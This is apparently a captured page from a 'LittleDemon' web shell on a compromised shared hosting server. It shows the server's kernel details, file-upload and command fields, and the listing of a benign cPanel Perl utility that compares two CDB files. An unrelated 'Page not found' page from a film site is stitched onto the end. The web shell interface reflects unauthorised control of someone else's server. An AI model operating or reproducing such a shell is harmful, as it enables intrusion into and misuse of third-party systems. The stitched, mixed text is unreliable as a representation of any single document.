LittleDemon WebShell


Linux sh00002.bigrock.com 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
Path : /scripts/
File Upload :
Command :
Current File : //scripts/comparecdb

#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/comparecdb                      Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use Fcntl    ();
use CDB_File ();

if ( $ARGV[0] eq '--bincheck' ) {
    print "BinCheck ok\n";
    exit();
}

if ( defined $ARGV[0] && -e $ARGV[0] && defined $ARGV[1] && -e $ARGV[1] ) {
    my %CDB_FILE_A;
    my $ta = tie %CDB_FILE_A, 'CDB_File', $ARGV[0];
    die "$ARGV[0] does not appear to be a valid CDB file." if !$ta;

    my %CDB_FILE_B;
    my $tb = tie %CDB_FILE_B, 'CDB_File', $ARGV[1];
    die "$ARGV[1] does not appear to be a valid CDB file." if !$tb;

    my %b_copy = (%CDB_FILE_B);    # we need a copy since you can't delete() from this tied-readonly hash

    # does A exist in B
    for my $k ( sort keys %CDB_FILE_A ) {
        if ( !exists $CDB_FILE_B{$k} ) {
            print "$ARGV[1] is missing “$k”\n";
        }
        else {
            delete $b_copy{$k};    # we've seen it
        }
    }

    # any keys in B that were not in A
    for my $y ( sort keys %b_copy ) {
        print "$ARGV[1] has additional “$y”\n";
    }
}
else {
    print "This tool is for comparing the contents of 2 CDB files.\n";
    print "Example: $0 /var/cpanel/locale/themes/x3/en.cdb /var/cpanel/locale/themes/x3/fr.cdb\n\n";
    print "Usage: $0 [cdb file a] [cdb file b]\n";
}

LittleDemon - FACEBOOK
[ KELUAR ]
Page not found – Sparkplug Films
Small totara tree on ridge above Long Point

Page not found

The page you are looking for doesn't exist, or it has been moved. Please try searching using the form below.